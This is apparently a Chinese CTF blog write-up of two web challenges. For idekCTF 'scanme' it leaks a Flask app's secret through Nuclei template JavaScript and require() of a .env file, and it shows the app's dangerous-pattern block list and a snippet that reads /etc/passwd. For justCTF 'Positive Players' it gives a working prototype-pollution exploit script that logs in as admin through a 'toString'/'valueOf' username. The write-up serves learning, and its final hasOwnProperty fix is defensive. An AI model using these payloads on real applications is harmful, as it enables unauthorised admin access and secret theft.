Overseas-CTF-replay

idekctf

https://ctf.idek.team

又是顶难web的一场比赛()

scanme

初看发现有yaml怀疑会不会有yaml反序列化但是审码头疼就放弃了

Nuclei?这是什么工具

1
Nuclei是一款基于YAML语法模板的开发的定制化快速漏洞扫描器。它使用Go语言开发,具有很强的可配置性、可扩展性和易用性。  

审计?大力审!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
from flask import Flask, send_file, request, jsonify
import subprocess
import json
import os
import tempfile
import yaml
from datetime import datetime
import re
from dotenv import load_dotenv

load_dotenv()

PORT = os.environ.get("PORT", 1337)
SECRET = os.environ.get("SECRET", "secret")
app = Flask(__name__)

def validate_template(template_content):
"""Validate Nuclei template YAML structure"""
try:
template = yaml.safe_load(template_content)

# Basic validation
if not isinstance(template, dict):
return False, "Template must be a YAML object"

if 'id' not in template:
return False, "Template must have an 'id' field"

if 'info' not in template:
return False, "Template must have an 'info' field"

# Check for potentially dangerous operations
dangerous_patterns = [
r'exec\s*:',
r'shell\s*:',
r'command\s*:',
r'file\s*:.*\.\./\.\.',
]

template_str = str(template_content).lower()
for pattern in dangerous_patterns:
if re.search(pattern, template_str):
return False, f"Template contains potentially dangerous operations: {pattern}"

return True, "Template is valid"

except yaml.YAMLError as e:
return False, f"Invalid YAML: {str(e)}"

def check_nuclei_installed():
"""Check if Nuclei is installed and accessible"""
try:
result = subprocess.run(['nuclei', '-version'],
capture_output=True, text=True, timeout=10)
return result.returncode == 0
except (subprocess.TimeoutExpired, FileNotFoundError):
return False

@app.route('/')
def index():
return send_file("index.html")

@app.route('/scan', methods=['POST'])
def scan():
try:
# Check if Nuclei is installed
if not check_nuclei_installed():
return jsonify({
'success': False,
'error': 'Nuclei is not installed or not accessible. Please install Nuclei first.'
})

port = request.form.get('port', '80')
template_type = request.form.get('template_type', 'builtin')

# Validate port
try:
port_num = int(port)
if not (1 <= port_num <= 65535):
raise ValueError()
except ValueError:
return jsonify({'success': False, 'error': 'Invalid port number'})

# Build target URL (localhost only)
target = f"http://127.0.0.1:{port}"

# Build Nuclei command
cmd = ['nuclei', '-target', target, '-jsonl', '--no-color']

if template_type == 'custom':
template_content = request.form.get('template_content', '').strip()
if not template_content:
return jsonify({'success': False, 'error': 'Custom template content is required'})

# Validate custom template
is_valid, validation_msg = validate_template(template_content)
if not is_valid:
return jsonify({'success': False, 'error': f'Template validation failed: {validation_msg}'})

# Save custom template to temporary file
with tempfile.NamedTemporaryFile(mode='w', suffix='.yaml', delete=False) as f:
f.write(template_content)
template_file = f.name

cmd.extend(['-t', template_file])
else:
# Use built-in templates
builtin_template = request.form.get('builtin_template', 'http/misconfiguration')
admin_secret = request.headers.get('X-Secret')

if admin_secret != SECRET and builtin_template not in [
"http/misconfiguration",
"http/technologies",
"http/vulnerabilities",
"ssl",
"dns"
]:
return jsonify({
'success': False,
'error': 'Only administrators may enter a non-allowlisted template.'
})

cmd.extend(['-t', builtin_template])

# Add safety parameters
cmd.extend([
'-timeout', '30',
'-retries', '1',
'-rate-limit', '5'
])

# Run Nuclei scan
result = subprocess.run(cmd, capture_output=True, text=True, timeout=60)

# Clean up temporary file if it exists
if template_type == 'custom' and 'template_file' in locals():
try:
os.unlink(template_file)
except OSError:
pass

# Process results
if result.returncode == 0 or result.stdout:
output_lines = []

if result.stdout.strip():
# Parse JSON output
for line in result.stdout.strip().split('\n'):
if line.strip():
try:
finding = json.loads(line)
formatted_finding = f"""
🔍 Finding: {finding.get('info', {}).get('name', 'Unknown')}
📋 Template: {finding.get('template-id', 'N/A')}
🎯 Target: {finding.get('matched-at', 'N/A')}
⚠️ Severity: {finding.get('info', {}).get('severity', 'N/A')}
📝 Description: {finding.get('info', {}).get('description', 'N/A')}
🔗 Reference: {', '.join(finding.get('info', {}).get('reference', []))}
---"""
output_lines.append(formatted_finding)
except json.JSONDecodeError:
output_lines.append(f"Raw output: {line}")

if not output_lines:
output_lines.append("✅ No vulnerabilities or issues found.")

if result.stderr:
output_lines.append(f"\n⚠️ Warnings/Errors:\n{result.stderr}")

return jsonify({
'success': True,
'output': '\n'.join(output_lines)
})
else:
error_msg = result.stderr if result.stderr else "Scan completed with no output"
return jsonify({
'success': False,
'error': error_msg
})

except subprocess.TimeoutExpired:
return jsonify({
'success': False,
'error': 'Scan timed out. The target may be unresponsive.'
})
except Exception as e:
return jsonify({
'success': False,
'error': f'An error occurred: {str(e)}'
})

if __name__ == '__main__':
app.run("0.0.0.0", PORT)

是这么个页面,点击按钮向/scan路由发包,有四个参数

看看主要函数,检测yaml文件是否合规,甚至有黑名单

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
def validate_template(template_content):
"""Validate Nuclei template YAML structure"""
try:
template = yaml.safe_load(template_content)

# Basic validation
if not isinstance(template, dict):
return False, "Template must be a YAML object"

if 'id' not in template:
return False, "Template must have an 'id' field"

if 'info' not in template:
return False, "Template must have an 'info' field"

# Check for potentially dangerous operations
dangerous_patterns = [
r'exec\s*:',
r'shell\s*:',
r'command\s*:',
r'file\s*:.*\.\./\.\.',
]

template_str = str(template_content).lower()
for pattern in dangerous_patterns:
if re.search(pattern, template_str):
return False, f"Template contains potentially dangerous operations: {pattern}"

return True, "Template is valid"

根据dockerfile里flag的位置,这道题大抵得RCE的,我们关注一下

1
2
3
4
5
6
7
8
9
10
is_valid, validation_msg = validate_template(template_content)
if not is_valid:
return jsonify({'success': False, 'error': f'Template validation failed: {validation_msg}'})

# Save custom template to temporary file
with tempfile.NamedTemporaryFile(mode='w', suffix='.yaml', delete=False) as f:
f.write(template_content)
template_file = f.name

cmd.extend(['-t', template_file])

在选择custom后,会验证我们的yaml数据是否符合格式,然后再创建一个临时文件,/tmp/<random_characters>.yaml,用于-t解析模板,结束后会unlink

而另一部分

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
builtin_template = request.form.get('builtin_template', 'http/misconfiguration')
admin_secret = request.headers.get('X-Secret')

if admin_secret != SECRET and builtin_template not in [
"http/misconfiguration",
"http/technologies",
"http/vulnerabilities",
"ssl",
"dns"
]:
return jsonify({
'success': False,
'error': 'Only administrators may enter a non-allowlisted template.'
})

cmd.extend(['-t', builtin_template])

如果我们拿到Secrete,就可以解析任意模板了,其实就是可以解析任意文件了?如果直通/flag.txt呢?也许我们等会可以本地搭环境进去shell里面,试试这个命令是否可以爆出文件内容

-t, -templates string[] 指定要运行的模板或者模板目录(以逗号分隔或目录形式)

Nuclei 支持两种方式加载模板:

  1. 直接指定 YAML 文件路径_(如 __-t /path/to/template.yaml_)。
  2. 使用内置模板名称_(如 __-t "http/misconfiguration"_),Nuclei 会自动从内置模板库加载。

所以可以理解了~

所谓模板类似如下:

1
2
3
4
5
6
7
8
9
10
11
12
id: example-vuln
info:
name: Example Vulnerability
author: yourname
requests:
- method: GET
path: "/admin.php"
matchers:
- type: word
words:
- "Admin Panel"
- "Login"

在validate_template时,是safe_load,那么在模板解析时呢?

但是稍微查了一下Go 的 **yaml.Unmarshal** 不会执行代码,因此即使恶意模板包含 !!python/object 这类标签,也不会被解析成代码执行。 不尽人意

综合上述分析,关键在于泄露出SECRET环境变量

而关于这个问题着实没有头绪,让我们看看老外的思路是什么:

泄露环境变量

Nuclei 允许在 YAML 模板中使用 JavaScript 代码(javascript: 模块),用于执行动态检测逻辑。
例如:

1
2
3
4
5
javascript:
- code: |
const fs = require('nuclei/fs');
const content = fs.ReadFileAsString('/etc/passwd');
log(content);

但默认情况下,Nuclei 禁止直接读取系统文件(除非启用 -lfa 参数)。

但是柳暗花明,require()是 JavaScript 语言的原生功能,动态加载机制不受 Nuclei 的沙盒限制。

JavaScript 的 require() 会尝试加载并执行指定的文件。
如果目标文件是 合法的 JavaScript/JSON 语法,它会被成功解析并执行。

相当于将任意符合js语法的文件内容加载,再利用log, 专门用于将数据输出到 Nuclei 的扫描结果中, 将内容传递给 Nuclei 的日志系统。

Goja 默认不提供 **console** 对象
与 Node.js 或浏览器不同,Goja 是一个精简的 JavaScript 引擎,没有内置 console API。

如果,环境变量存储在一个文件中,且这个文件符合js格式,是不是就可以实现了呢?

这里就要好好提醒大家看全文件了,在给的附件里,还有一个.env的文件,而里面:

1
2
PORT=1337
SECRET="REDACTED"

再看Dockerfile如何处理它

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
FROM python:3.11-slim

RUN apt-get update && apt-get install -y \
wget \
ca-certificates \
&& rm -rf /var/lib/apt/lists/*

ENV GO_VERSION=1.21.5
RUN wget https://golang.org/dl/go${GO_VERSION}.linux-amd64.tar.gz && \
tar -C /usr/local -xzf go${GO_VERSION}.linux-amd64.tar.gz && \
rm go${GO_VERSION}.linux-amd64.tar.gz

ENV PATH=$PATH:/usr/local/go/bin
ENV GOPATH=/go
ENV PATH=$PATH:$GOPATH/bin

RUN groupadd -r nuclei && useradd -m -g nuclei nuclei

WORKDIR /home/nuclei

COPY app.py .
COPY .env .
COPY index.html .
COPY requirements.txt .
COPY flag.txt /

RUN pip install --no-cache-dir -r requirements.txt

RUN go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest

RUN /go/bin/nuclei -update-templates

USER nuclei

EXPOSE 1337

CMD ["python", "app.py"]

欧克可以确定目录了!!/home/nuclei/.env

现在,只剩最后一步,这个格式是否符合js?直接试吧就,本地shell环境即可~

我疯了,wsl崩了docker崩了,配置坏境超级慢

不过大抵上是可以的,这道题主要在于理解这个工具,知道怎么写yaml格式,知道js的一些tricks

justctf

https://2025.justctf.team/

Positive Players

初看不惊人,坐牢就明白了()

老外的原型链污染考察这么神

看一下源码,明确禁止了__proto__,constructor,prototype

在整个注册过程中

新增了一个字典

1
2
3
4
5
6
7
8
9
10
11
12
users[username] = {
password: password,
isAdmin: false,
themeConfig: {
theme: {
primaryColor: '#6200EE',
secondaryColor: '#03DAC6',
fontSize: '16px',
fontFamily: 'Roboto, sans-serif'
}
}
};

污染的关键函数

1
2
3
4
5
6
7
8
9
const deepMerge = (target, source) => {
for (const key in source) {
if (source[key] instanceof Object && key in target) {
Object.assign(source[key], deepMerge(target[key], source[key]));
}
}
Object.assign(target || {}, source);
return target;
};

只有污染user[username].isAdmin=true才行

但是我们知道,哪怕我们绕过了__proto__实现污染,获得以下效果

1
2
3
4
5
6
7
8
> users['a'].themeConfig.theme.__proto__.isAdmin = true;
< true
> users['a'].themeConfig.theme.isAdmin;
< true
> users['a'].themeConfig.isAdmin;
< true
> users['a'].isAdmin;
< false

user[‘a’]自身存在这个isAdmin属性,只有不存在的时候才可以污染成功

到底应该怎么办呢

有这么个toString

当我们随便注册一个账户进行污染时

toString.isAdmin=1时

toStrinf已经被污染

这个时候登录一个username=toString的账号,不传password

因为if (user && user.password === password),可以绕过

或者你污染toString.password?没试,应该可

进去之后直接/flag

成功拿到

justCTF{This_Prototype_Pollution_variant_actually_works_on_real_apps!_3rcwtirsieh}

同上,__defineGetter__也是一样的效果

再发现valueOf也是如此

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import requests
import random

HOST = 'http://o4pbo50evbr728wcmfazbuhlb9m5hh.positiveplayers.web.jctf.pro'
sess = requests.Session()

# Register
username = password = random.randbytes(4).hex()
register_data = {
'username': username,
'password': password,
}
r = sess.post(HOST + '/register', data=register_data, allow_redirects=False)
print(r.status_code, r.text)

# Write to objects in the prototype because `key in target` checks the prototype
# so `deepMerge(target[key], source[key])` allows writing to prototype objects
r = sess.get(HOST + '/theme?valueOf.isAdmin=1', allow_redirects=False)
print(r.status_code, r.text)

# Login with the username `__defineGetter__`
# Omit password to pass `if (user && user.password === password)`
# Then `users[req.session.userId].isAdmin` equals `users.__defineGetter__.isAdmin`
login_data = {
'username': 'valueOf',
# 'password': password,
}

r = sess.post(HOST + '/login', data=login_data, allow_redirects=False)
print(r.status_code, r.text)

r = sess.get(HOST + '/flag', allow_redirects=False)
print(r.text)

看看

1
2
3
4
5
6
7
8
9
10
11
function getAllProperties(obj) {
const props = new Set();
let currentObj = obj;

while (currentObj !== null) {
Object.getOwnPropertyNames(currentObj).forEach(prop => props.add(prop));
currentObj = Object.getPrototypeOf(currentObj);
}

return Array.from(props);
}

得到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
All properties of user: [
'password',
'isAdmin',
'themeConfig',
'constructor',
'__defineGetter__',
'__defineSetter__',
'hasOwnProperty',
'__lookupGetter__',
'__lookupSetter__',
'isPrototypeOf',
'propertyIsEnumerable',
'toString',
'valueOf',
'__proto__',
'toLocaleString'
]

这些原型方法(不能被枚举的属性)(Object.prototype 原生提供 )都是可行的嘛?全部试试

欧克,测了一下全部可以~

一般咱们对于原型链污染,用__proto__这样可以影响到所有对象(已含有污染属性的对象除外)

而修改原型方法的属性,仅使用于如user[toString].isAdmin==true这种方式,审计的时候留个心眼即可~

该题倒是还未绕过WAF,不知道有无大手子绕过(虽然没用)

又想了一下,未必没用,浅试一下

1
2
3
4
5
6
r = sess.get(HOST + '/theme?__proto__.hack.isAdmin=1', allow_redirects=False)
login_data = {
'username': 'hack',
# 'password': password,
}
拿到flag{test}

user[hack].isAdmin=user.hack.isAdmin

user我们没有hack这个属性,因此成功原型链污染~

所以有无大手子绕过走出来啦?


1
2
3
4
if (source[key] instanceof Object
&& Object.prototype.hasOwnProperty.call(target, key)) {
Object.assign(source[key], deepMerge(target[key], source[key]));
}

只允许自身所属属性而非继承的属性归并,这种就不用担心污染咯(也许…)